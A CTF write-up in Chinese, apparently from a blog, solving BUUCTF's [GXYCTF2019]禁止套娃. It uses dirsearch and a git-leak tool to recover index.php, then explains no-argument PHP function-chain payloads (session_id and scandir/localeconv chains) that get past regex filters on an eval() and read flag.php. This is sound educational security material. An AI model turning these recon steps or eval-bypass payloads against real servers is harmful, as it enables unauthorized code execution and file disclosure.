当前位置:网站首页>BUUCTF WEB [GXYCTF2019]禁止套娃
BUUCTF WEB [GXYCTF2019]禁止套娃
2022-04-23 12:27:00 【Y1Daa】
BUUCTF WEB [GXYCTF2019]禁止套娃
-
没有任何提示,使用dirsearch扫描
# Dirsearch started Fri Apr 22 02:23:09 2022 as: ./dirsearch.py -u http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/ --delay=0.5 -t 3 301 185B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git -> REDIRECTS TO: http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn/.git/ 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/ 200 267B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/COMMIT_EDITMSG 200 23B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/HEAD 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/branches/ 200 92B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/config 200 73B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/description 403 571B http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81/.git/hooks/ ......
扫描到很多有关.git文件夹的路径,怀疑是.git泄露
-
使用scrabble扫描
./scrabble http://ffd94bba-98ea-4150-9103-09306827d709.node4.buuoj.cn:81 hint: Using 'master' as the name for the initial branch. This default branch name hint: is subject to change. To configure the initial branch name to use in all hint: of your new repositories, which will suppress this warning, call: hint: hint: git config --global init.defaultBranch <name> hint: hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and hint: 'development'. The just-created branch can be renamed via this command: hint: hint: git branch -m <name> Initialized empty Git repository in /root/Tools/scrabble/.git/ parseCommit e729e0b15f06da388b0e634afffd19b8e17b572a downloadBlob e729e0b15f06da388b0e634afffd19b8e17b572a parseTree 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 964071070547c4dda8cf5e14da26e4d7b7aeeeb5 downloadBlob 7169422bf0676b5369d25776f03961e158428c90 HEAD is now at e729e0b init
扫描到了index.php
<?php include "flag.php"; echo "flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { // echo $_GET['exp']; @eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } } // highlight_file(__FILE__); ?>
-
第一层过滤
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
过滤了一些PHP伪协议
-
第二层过滤
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
这里的
(?R)
表示引用当前的表达式,(?R)?
表示可以有零次或一次引用,可以匹配print(echo(1))
等由字符和括号嵌套组成的字符串
-
第三层过滤
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
过滤了一些关键字
方法1 session_id
?exp=highlight_file(session_id(session_start()));
同时抓包在Cookie中设置PHPSESSID
PHPSESSID=flag.php
方法2 scandir()
exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
current(localeconv())
会返回.
,然后使用scandir()函数扫描当前文件夹
localeconv()
函数会返回包含本地数字及货币格式信息的数组,这个数组的第一个元素是.
current()
函数返回数组中的当前元素的值,每个数组的初始指针都指向数组的第一个元素
array_reverse()
函数以相反的顺序返回数组
next()
函数将内部指针指向数组中的下一个元素并输出
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://blog.csdn.net/weixin_51412071/article/details/124349048
边栏推荐
- QT draw text
- Tan Xiang, CEO of Kechuang · Pera software: the essence of zero trust is digital security. To B should also deeply study the user's mind
- uni-app 原生APP-本地打包集成极光推送(JG-JPUSH)详细教程
- How to expand the capacity of the server in the 100 million level traffic architecture? Well written!
- [unity note] basic lighting in l4unity
- IDEA 数据库插件Database Navigator 插件
- bert-base-chinese下载(智取)
- Why is there a wrapper class? By the way, how to convert basic data types, wrapper classes and string classes?
- Number of nodes of complete binary tree
- Force buckle - 1137 Nth teponacci number
猜你喜欢
How do programmers finalize nucleic acid statistics with 130 lines of code
Debug Jest test cases in VSCode, debug Jest test cases in VSCode, middle note basedir=$(dirname "$" (echo "$0" sed -e -e, s, \ \, / "-e").
A graphic designer's fantasy world | ones characters
SQL 练习(一)
C# F23. Stringsimilarity Library: String repeatability, text similarity, anti plagiarism
Qt进程间通信
bert-base-chinese下载(智取)
STM32控制步进电机(ULN2003+28byj)
基于卷积神经网络的遥感影像分类识别系统
[unity note] basic lighting in l4unity
随机推荐
Outsourcing for five years, abandoned
worder字体网页字体对照表
Fastjson 2 来了,性能继续提升,还能再战十年
After a circle, I sorted out this set of interview questions..
In idea Solution to the problem of garbled code in Chinese display of properties file
QT one process runs another
IDEA 中 .properties文件的中文显示乱码问题的解决办法
如何防止网站被黑客入侵篡改
程序员如何用130行代码敲定核酸统计
Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years
Win10 splash screen after startup
基于卷积神经网络的遥感影像分类识别系统
消息队列概述
uni-app 原生APP-本地打包集成极光推送(JG-JPUSH)详细教程
Lesson 24 analysis of classical problems
STM32控制步进电机(ULN2003+28byj)
Dialogue with Bruce, author of PostgreSQL: "changing careers" is to better move forward
Lesson 26 static member functions of classes
CGC: contractual graph clustering for community detection and tracking
Hard core parsing promise object (do you know these seven common APIs and seven key questions?)